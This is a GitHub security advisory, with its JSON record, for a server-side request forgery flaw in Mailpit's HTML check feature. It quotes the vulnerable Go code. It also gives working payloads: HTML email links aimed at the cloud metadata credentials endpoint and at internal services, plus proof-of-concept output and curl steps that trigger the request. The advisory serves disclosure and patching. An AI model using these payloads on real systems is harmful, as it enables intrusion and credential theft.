GHSA-6JXM-FV7W-RW5J
Vulnerability from github – Published: 2026-01-21 01:01 – Updated: 2026-01-21 01:01Server-Side Request Forgery (SSRF) via HTML Check CSS Download
The HTML Check feature (/api/v1/message/{ID}/html-check) is designed to analyze HTML emails for compatibility. During this process, the inlineRemoteCSS() function automatically downloads CSS files from external <link rel="stylesheet" href="..."> tags to inline them for testing.
Affected Components
- Primary File:
internal/htmlcheck/css.go(lines 132-207) - API Endpoint:
/api/v1/message/{ID}/html-check - Handler:
server/apiv1/other.go(lines 38-75) - Vulnerable Functions:
inlineRemoteCSS()- line 132downloadToBytes()- line 193isURL()- line 221
Technical Details
1. Insufficient URL Validation (isURL() function):
// internal/htmlcheck/css.go:221-224
func isURL(str string) bool {
u, err := url.Parse(str)
return err == nil && (u.Scheme == "http" || u.Scheme == "https") && u.Host != ""
}
2. Unrestricted Download (downloadToBytes() function):
// internal/htmlcheck/css.go:193-207
func downloadToBytes(url string) ([]byte, error) {
client := http.Client{
Timeout: 5 * time.Second,
}
// Get the link response data
resp, err := client.Get(url) // ⚠️ VULNERABLE - No IP validation
if err != nil {
return nil, err
}
defer func() { _ = resp.Body.Close() }()
if resp.StatusCode != 200 {
err := fmt.Errorf("error downloading %s", url)
return nil, err
}
body, err := io.ReadAll(resp.Body) // ⚠️ Downloads ENTIRE response
if err != nil {
return nil, err
}
return body, nil
}
3. Automatic CSS Processing:
// internal/htmlcheck/css.go:132-187
func inlineRemoteCSS(h string) (string, error) {
reader := strings.NewReader(h)
doc, err := goquery.NewDocumentFromReader(reader)
if err != nil {
return h, err
}
remoteCSS := doc.Find("link[rel=\"stylesheet\"]").Nodes
for _, link := range remoteCSS {
attributes := link.Attr
for _, a := range attributes {
if a.Key == "href" {
if !isURL(a.Val) { // ⚠️ Insufficient validation
continue
}
if config.BlockRemoteCSSAndFonts {
logger.Log().Debugf("[html-check] skip testing remote CSS content: %s (--block-remote-css-and-fonts)", a.Val)
return h, nil
}
resp, err := downloadToBytes(a.Val) // ⚠️ Downloads from ANY URL
if err != nil {
logger.Log().Warnf("[html-check] failed to download %s", a.Val)
continue
}
// Inlines the downloaded CSS
styleBlock := &html.Node{
Type: html.ElementNode,
Data: "style",
DataAtom: atom.Style,
}
styleBlock.AppendChild(&html.Node{
Type: html.TextNode,
Data: string(resp), // Downloaded content inserted
})
link.Parent.AppendChild(styleBlock)
}
}
}
return doc.Html()
}
Attack Vectors
Attack Vector 1: Cloud Metadata Credential Theft
Attacker sends HTML email with:
<!DOCTYPE html>
<html>
<head>
<link rel="stylesheet" href="http://169.254.169.254/latest/meta-data/iam/security-credentials/admin-role">
</head>
<body>Legitimate email content</body>
</html>
When HTML check is triggered: 1. Mailpit makes GET request to AWS metadata endpoint 2. Downloads IAM credentials as "CSS content" 3. Credentials logged or potentially leaked via error messages
Proof of Concept
A complete working exploit is provided in ssrf_htmlcheck_poc.py.
PoC Usage:
# Ensure Mailpit is running
# SMTP: localhost:1025
# HTTP API: localhost:8025
# Run the exploit
python3 ssrf_htmlcheck_poc.py
PoC Workflow:
- Starts SSRF listener on port 8888 to detect callbacks
- Sends malicious HTML emails containing:
html <link rel="stylesheet" href="http://localhost:8888/malicious.css"> <link rel="stylesheet" href="http://169.254.169.254/latest/meta-data/"> <link rel="stylesheet" href="http://127.0.0.1:6379/"> - Triggers HTML check via API:
GET /api/v1/message/{ID}/html-check - Monitors callbacks and analyzes responses
- Demonstrates exploitation of:
- Local listener (proves SSRF)
- Cloud metadata endpoints
- Internal services (Redis, etc.)
- Private network ranges
Expected Output:
╔══════════════════════════════════════════════════════════════════════════════╗
║ Mailpit SSRF PoC - HTML Check CSS Download Vulnerability ║
║ Severity: MODERATE ║
║ File: internal/htmlcheck/css.go:193-207 ║
╚══════════════════════════════════════════════════════════════════════════════╝
[+] SSRF listener started on port 8888
[*] Testing SSRF with callback to local listener...
================================================================================
[*] Testing SSRF with target: http://localhost:8888/malicious.css
================================================================================
[+] Email sent with CSS link to: http://localhost:8888/malicious.css
[+] Message ID: abc123xyz
[*] Triggering HTML check: http://localhost:8025/api/v1/message/abc123xyz/html-check
[+] HTML check completed (Status: 200)
[SSRF-LISTENER] 127.0.0.1 - "GET /malicious.css HTTP/1.1" 200 -
[+] SUCCESS! SSRF confirmed - Received 1 callback(s):
Path: /malicious.css
User-Agent: Mailpit/dev
================================================================================
[*] Testing SSRF against internal/private targets...
================================================================================
⚠️ Note: These may timeout or fail, but Mailpit WILL attempt the connection
[+] Email sent with CSS link to: http://127.0.0.1:6379/
[+] Message ID: def456uvw
[*] Triggering HTML check: http://localhost:8025/api/v1/message/def456uvw/html-check
[!] Request timed out - target may be blocking or slow
Manual Testing:
```bash
1. Send malicious email
cat << 'EOF' | python3 - <<SENDMAIL import smtplib from email.mime.text import MIMEText
html = ''' <!DOCTYPE html>
Test'''
msg = MIMEText(html, 'html') msg['Subject'] = 'SSRF Test' msg['From'] = 'test@test.com' msg['To'] = 'victim@test.com'
with smtplib.SMTP('localhost', 1025) as smtp: smtp.send_message(msg) SENDMAIL EOF
2. Get message ID
MESSAGE_ID=$(curl -s http://localhost:8025/api/v1/messages?limit=1 | jq -r '.messages[0].ID')
3. Trigger SSRF
curl -v "http://localhost:8025/api/v1/message/$MESSAGE_ID/html-check"
{
"affected": [
{
"package": {
"ecosystem": "Go",
"name": "github.com/axllent/mailpit"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "1.28.3"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-23845"
],
"database_specific": {
"cwe_ids": [
"CWE-918"
],
"github_reviewed": true,
"github_reviewed_at": "2026-01-21T01:01:26Z",
"nvd_published_at": "2026-01-19T19:16:04Z",
"severity": "MODERATE"
},
"details": "### Server-Side Request Forgery (SSRF) via HTML Check CSS Download\n\nThe HTML Check feature (`/api/v1/message/{ID}/html-check`) is designed to analyze HTML emails for compatibility. During this process, the `inlineRemoteCSS()` function automatically downloads CSS files from external `\u003clink rel=\"stylesheet\" href=\"...\"\u003e` tags to inline them for testing. \n\n\n#### Affected Components\n\n- **Primary File:** `internal/htmlcheck/css.go` (lines 132-207)\n- **API Endpoint:** `/api/v1/message/{ID}/html-check`\n- **Handler:** `server/apiv1/other.go` (lines 38-75)\n- **Vulnerable Functions:**\n - `inlineRemoteCSS()` - line 132\n - `downloadToBytes()` - line 193\n - `isURL()` - line 221\n\n#### Technical Details\n\n**1. Insufficient URL Validation (`isURL()` function):**\n\n```go\n// internal/htmlcheck/css.go:221-224\nfunc isURL(str string) bool {\n u, err := url.Parse(str)\n return err == nil \u0026\u0026 (u.Scheme == \"http\" || u.Scheme == \"https\") \u0026\u0026 u.Host != \"\"\n}\n```\n\n\n**2. Unrestricted Download (`downloadToBytes()` function):**\n\n```go\n// internal/htmlcheck/css.go:193-207\nfunc downloadToBytes(url string) ([]byte, error) {\n client := http.Client{\n Timeout: 5 * time.Second,\n }\n\n // Get the link response data\n resp, err := client.Get(url) // \u26a0\ufe0f VULNERABLE - No IP validation\n if err != nil {\n return nil, err\n }\n defer func() { _ = resp.Body.Close() }()\n\n if resp.StatusCode != 200 {\n err := fmt.Errorf(\"error downloading %s\", url)\n return nil, err\n }\n\n body, err := io.ReadAll(resp.Body) // \u26a0\ufe0f Downloads ENTIRE response\n if err != nil {\n return nil, err\n }\n\n return body, nil\n}\n```\n\n**3. Automatic CSS Processing:**\n\n```go\n// internal/htmlcheck/css.go:132-187\nfunc inlineRemoteCSS(h string) (string, error) {\n reader := strings.NewReader(h)\n doc, err := goquery.NewDocumentFromReader(reader)\n if err != nil {\n return h, err\n }\n\n remoteCSS := doc.Find(\"link[rel=\\\"stylesheet\\\"]\").Nodes\n for _, link := range remoteCSS {\n attributes := link.Attr\n for _, a := range attributes {\n if a.Key == \"href\" {\n if !isURL(a.Val) { // \u26a0\ufe0f Insufficient validation\n continue\n }\n\n if config.BlockRemoteCSSAndFonts {\n logger.Log().Debugf(\"[html-check] skip testing remote CSS content: %s (--block-remote-css-and-fonts)\", a.Val)\n return h, nil\n }\n\n resp, err := downloadToBytes(a.Val) // \u26a0\ufe0f Downloads from ANY URL\n if err != nil {\n logger.Log().Warnf(\"[html-check] failed to download %s\", a.Val)\n continue\n }\n\n // Inlines the downloaded CSS\n styleBlock := \u0026html.Node{\n Type: html.ElementNode,\n Data: \"style\",\n DataAtom: atom.Style,\n }\n styleBlock.AppendChild(\u0026html.Node{\n Type: html.TextNode,\n Data: string(resp), // Downloaded content inserted\n })\n link.Parent.AppendChild(styleBlock)\n }\n }\n }\n \n return doc.Html()\n}\n```\n\n\n#### Attack Vectors\n\n**Attack Vector 1: Cloud Metadata Credential Theft**\n\nAttacker sends HTML email with:\n```html\n\u003c!DOCTYPE html\u003e\n\u003chtml\u003e\n\u003chead\u003e\n \u003clink rel=\"stylesheet\" href=\"http://169.254.169.254/latest/meta-data/iam/security-credentials/admin-role\"\u003e\n\u003c/head\u003e\n\u003cbody\u003eLegitimate email content\u003c/body\u003e\n\u003c/html\u003e\n```\n\nWhen HTML check is triggered:\n1. Mailpit makes GET request to AWS metadata endpoint\n2. Downloads IAM credentials as \"CSS content\"\n3. Credentials logged or potentially leaked via error messages\n\n\n\n#### Proof of Concept\n\nA complete working exploit is provided in `ssrf_htmlcheck_poc.py`.\n\n**PoC Usage:**\n\n```bash\n# Ensure Mailpit is running\n# SMTP: localhost:1025\n# HTTP API: localhost:8025\n\n# Run the exploit\npython3 ssrf_htmlcheck_poc.py\n```\n\n**PoC Workflow:**\n\n1. **Starts SSRF listener** on port 8888 to detect callbacks\n2. **Sends malicious HTML emails** containing:\n ```html\n \u003clink rel=\"stylesheet\" href=\"http://localhost:8888/malicious.css\"\u003e\n \u003clink rel=\"stylesheet\" href=\"http://169.254.169.254/latest/meta-data/\"\u003e\n \u003clink rel=\"stylesheet\" href=\"http://127.0.0.1:6379/\"\u003e\n ```\n3. **Triggers HTML check** via API: `GET /api/v1/message/{ID}/html-check`\n4. **Monitors callbacks** and analyzes responses\n5. **Demonstrates exploitation** of:\n - Local listener (proves SSRF)\n - Cloud metadata endpoints\n - Internal services (Redis, etc.)\n - Private network ranges\n\n**Expected Output:**\n\n```\n\u2554\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2557\n\u2551 Mailpit SSRF PoC - HTML Check CSS Download Vulnerability \u2551\n\u2551 Severity: MODERATE \u2551\n\u2551 File: internal/htmlcheck/css.go:193-207 \u2551\n\u255a\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u255d\n\n[+] SSRF listener started on port 8888\n[*] Testing SSRF with callback to local listener...\n\n================================================================================\n[*] Testing SSRF with target: http://localhost:8888/malicious.css\n================================================================================\n[+] Email sent with CSS link to: http://localhost:8888/malicious.css\n[+] Message ID: abc123xyz\n[*] Triggering HTML check: http://localhost:8025/api/v1/message/abc123xyz/html-check\n[+] HTML check completed (Status: 200)\n\n[SSRF-LISTENER] 127.0.0.1 - \"GET /malicious.css HTTP/1.1\" 200 -\n\n[+] SUCCESS! SSRF confirmed - Received 1 callback(s):\n Path: /malicious.css\n User-Agent: Mailpit/dev\n\n================================================================================\n[*] Testing SSRF against internal/private targets...\n================================================================================\n\n\u26a0\ufe0f Note: These may timeout or fail, but Mailpit WILL attempt the connection\n\n[+] Email sent with CSS link to: http://127.0.0.1:6379/\n[+] Message ID: def456uvw\n[*] Triggering HTML check: http://localhost:8025/api/v1/message/def456uvw/html-check\n[!] Request timed out - target may be blocking or slow\n```\n\n**Manual Testing:**\n\n```bash\n# 1. Send malicious email\ncat \u003c\u003c \u0027EOF\u0027 | python3 - \u003c\u003cSENDMAIL\nimport smtplib\nfrom email.mime.text import MIMEText\n\nhtml = \u0027\u0027\u0027\n\u003c!DOCTYPE html\u003e\n\u003chtml\u003e\n\u003chead\u003e\n \u003clink rel=\"stylesheet\" href=\"http://169.254.169.254/latest/meta-data/\"\u003e\n\u003c/head\u003e\n\u003cbody\u003eTest\u003c/body\u003e\n\u003c/html\u003e\n\u0027\u0027\u0027\n\nmsg = MIMEText(html, \u0027html\u0027)\nmsg[\u0027Subject\u0027] = \u0027SSRF Test\u0027\nmsg[\u0027From\u0027] = \u0027test@test.com\u0027\nmsg[\u0027To\u0027] = \u0027victim@test.com\u0027\n\nwith smtplib.SMTP(\u0027localhost\u0027, 1025) as smtp:\n smtp.send_message(msg)\nSENDMAIL\nEOF\n\n# 2. Get message ID\nMESSAGE_ID=$(curl -s http://localhost:8025/api/v1/messages?limit=1 | jq -r \u0027.messages[0].ID\u0027)\n\n# 3. Trigger SSRF\ncurl -v \"http://localhost:8025/api/v1/message/$MESSAGE_ID/html-check\"",
"id": "GHSA-6jxm-fv7w-rw5j",
"modified": "2026-01-21T01:01:26Z",
"published": "2026-01-21T01:01:26Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/axllent/mailpit/security/advisories/GHSA-6jxm-fv7w-rw5j"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-23845"
},
{
"type": "WEB",
"url": "https://github.com/axllent/mailpit/commit/1679a0aba592ebc8487a996d37fea8318c984dfe"
},
{
"type": "PACKAGE",
"url": "https://github.com/axllent/mailpit"
},
{
"type": "WEB",
"url": "https://github.com/axllent/mailpit/releases/tag/v1.28.3"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:N/A:N",
"type": "CVSS_V3"
}
],
"summary": "Mailpit has a Server-Side Request Forgery (SSRF) via HTML Check API"
}
Sightings
| Author | Source | Type | Date |
|---|
Nomenclature
- Seen: The vulnerability was mentioned, discussed, or observed by the user.
- Confirmed: The vulnerability has been validated from an analyst's perspective.
- Published Proof of Concept: A public proof of concept is available for this vulnerability.
- Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
- Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
- Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
- Not confirmed: The user expressed doubt about the validity of the vulnerability.
- Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.